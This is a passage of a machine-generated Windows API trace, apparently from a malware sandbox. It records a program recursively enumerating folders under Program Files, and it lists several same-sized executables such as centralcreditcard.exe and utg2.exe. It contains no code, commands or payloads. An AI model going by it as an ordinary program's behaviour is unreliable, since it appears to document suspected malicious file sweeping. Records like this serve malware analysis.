lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0289.876] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0289.877] GetProcessHeap () returned 0xaf0000 [0289.877] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0289.877] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QSIGNOFF", cAlternateFileName="")) returned 1 [0289.877] GetProcessHeap () returned 0xaf0000 [0289.877] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0289.877] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP\\QSIGNOFF\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0289.877] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.877] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0289.877] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0289.878] GetProcessHeap () returned 0xaf0000 [0289.878] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0289.878] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QSIGNOFF", cAlternateFileName="")) returned 0 [0289.878] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0289.878] GetProcessHeap () returned 0xaf0000 [0289.878] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0289.879] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e273816, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERRORREP", cAlternateFileName="")) returned 0 [0289.879] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0289.879] GetProcessHeap () returned 0xaf0000 [0289.879] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0289.879] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHELLNEW", cAlternateFileName="")) returned 1 [0289.879] GetProcessHeap () returned 0xaf0000 [0289.879] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0289.879] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0289.879] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.879] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd45391ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd45391ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd49fdd24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x166b, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL12.XLSX", cAlternateFileName="EXCEL1~1.XLS")) returned 1 [0289.880] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b285e60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x2c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPROJ11.MPP", cAlternateFileName="")) returned 1 [0289.880] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2daddbf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd305c7ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xea00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.PUB", cAlternateFileName="")) returned 1 [0289.880] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2daddbf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd305c7ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xea00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.PUB", cAlternateFileName="")) returned 0 [0289.880] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0289.880] GetProcessHeap () returned 0xaf0000 [0289.880] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0289.880] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHELLNEW", cAlternateFileName="")) returned 0 [0289.880] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0289.880] GetProcessHeap () returned 0xaf0000 [0289.880] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0289.881] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0289.881] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0289.881] GetProcessHeap () returned 0xaf0000 [0289.881] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0289.881] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VFS", cAlternateFileName="")) returned 0 [0289.881] FindClose (in: hFindFile=0xb02d88 | out: hFindFile=0xb02d88) returned 1 [0289.881] GetProcessHeap () returned 0xaf0000 [0289.882] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0289.883] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6b3dd40, ftCreationTime.dwHighDateTime=0x1d5edd2, ftLastAccessTime.dwLowDateTime=0xddd2ebc0, ftLastAccessTime.dwHighDateTime=0x1d58fc3, ftLastWriteTime.dwLowDateTime=0xddd2ebc0, ftLastWriteTime.dwHighDateTime=0x1d58fc3, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="winscp.exe", cAlternateFileName="")) returned 1 [0289.883] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6b3dd40, ftCreationTime.dwHighDateTime=0x1d5edd2, ftLastAccessTime.dwLowDateTime=0xddd2ebc0, ftLastAccessTime.dwHighDateTime=0x1d58fc3, ftLastWriteTime.dwLowDateTime=0xddd2ebc0, ftLastWriteTime.dwHighDateTime=0x1d58fc3, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="winscp.exe", cAlternateFileName="")) returned 0 [0289.883] FindClose (in: hFindFile=0xb03088 | out: hFindFile=0xb03088) returned 1 [0289.883] GetProcessHeap () returned 0xaf0000 [0289.883] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb42830 | out: hHeap=0xaf0000) returned 1 [0289.883] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe8e41203, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8e41203, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft Office 15", cAlternateFileName="MICROS~1")) returned 1 [0289.884] GetProcessHeap () returned 0xaf0000 [0289.884] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb42830 [0289.884] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office 15\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe8e41203, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8e41203, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0289.884] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe8e41203, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8e41203, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="..", cAlternateFileName="")) returned 1 [0289.884] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69a88ed0, ftCreationTime.dwHighDateTime=0x1d5e74d, ftLastAccessTime.dwLowDateTime=0x61307ad0, ftLastAccessTime.dwHighDateTime=0x1d5c3e2, ftLastWriteTime.dwLowDateTime=0x61307ad0, ftLastWriteTime.dwHighDateTime=0x1d5c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="centralcreditcard.exe", cAlternateFileName="CENTRA~1.EXE")) returned 1 [0289.884] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e8efda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="ClientX64", cAlternateFileName="CLIENT~1")) returned 1 [0289.884] GetProcessHeap () returned 0xaf0000 [0289.885] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0289.885] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office 15\\ClientX64\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e8efda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0289.885] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e8efda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.885] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IntegratedOffice.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0289.885] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e8efda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e8efda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeClickToRun.exe", cAlternateFileName="OFFICE~1.EXE")) returned 1 [0289.886] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e8efda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e8efda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeClickToRun.exe", cAlternateFileName="OFFICE~1.EXE")) returned 0 [0289.886] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0289.886] GetProcessHeap () returned 0xaf0000 [0289.886] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0289.886] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b79090, ftCreationTime.dwHighDateTime=0x1d5715e, ftLastAccessTime.dwLowDateTime=0xcc15d3c0, ftLastAccessTime.dwHighDateTime=0x1d5cb37, ftLastWriteTime.dwLowDateTime=0xcc15d3c0, ftLastWriteTime.dwHighDateTime=0x1d5cb37, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="impressed.exe", cAlternateFileName="IMPRES~1.EXE")) returned 1 [0289.886] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb20c5100, ftCreationTime.dwHighDateTime=0x1d5b27f, ftLastAccessTime.dwLowDateTime=0x71b8e690, ftLastAccessTime.dwHighDateTime=0x1d5ccce, ftLastWriteTime.dwLowDateTime=0x71b8e690, ftLastWriteTime.dwHighDateTime=0x1d5ccce, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="utg2.exe", cAlternateFileName="")) returned 1 [0289.886] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb20c5100, ftCreationTime.dwHighDateTime=0x1d5b27f, ftLastAccessTime.dwLowDateTime=0x71b8e690, ftLastAccessTime.dwHighDateTime=0x1d5ccce, ftLastWriteTime.dwLowDateTime=0x71b8e690, ftLastWriteTime.dwHighDateTime=0x1d5ccce, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="utg2.exe", cAlternateFileName="")) returned 0 [0289.886] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0289.886] GetProcessHeap () returned 0xaf0000 [0289.886] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb42830 | out: hHeap=0xaf0000) returned 1 [0289.887] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b6c5a7, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8b6c5a7, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0289.887] GetProcessHeap () returned 0xaf0000 [0289.887] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb42830 [0289.888] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b6c5a7, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8b6c5a7, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0289.896] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b6c5a7, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8b6c5a7, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="..", cAlternateFileName="")) returned 1 [0289.897] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9eac3a9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe9eac3a9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf3efc600, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0xbc0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="Accessible.tlb", cAlternateFileName="ACCESS~1.TLB")) returned 1 [0289.897] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae059bd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae059bd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x72516580, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x1f1d0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="AccessibleHandler.dll", cAlternateFileName="ACCESS~1.DLL")) returned 1 [0289.897] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae2bc3c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae2bc3c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73829280, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x73d0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="AccessibleMarshal.dll", cAlternateFileName="ACCESS~2.DLL")) returned 1 [0289.897] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae2bc3c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae2bc3c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0289.897] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae51e99, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae51e99, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x46c0, dwReserved0=0x0, dwReserved1=0x3b3, 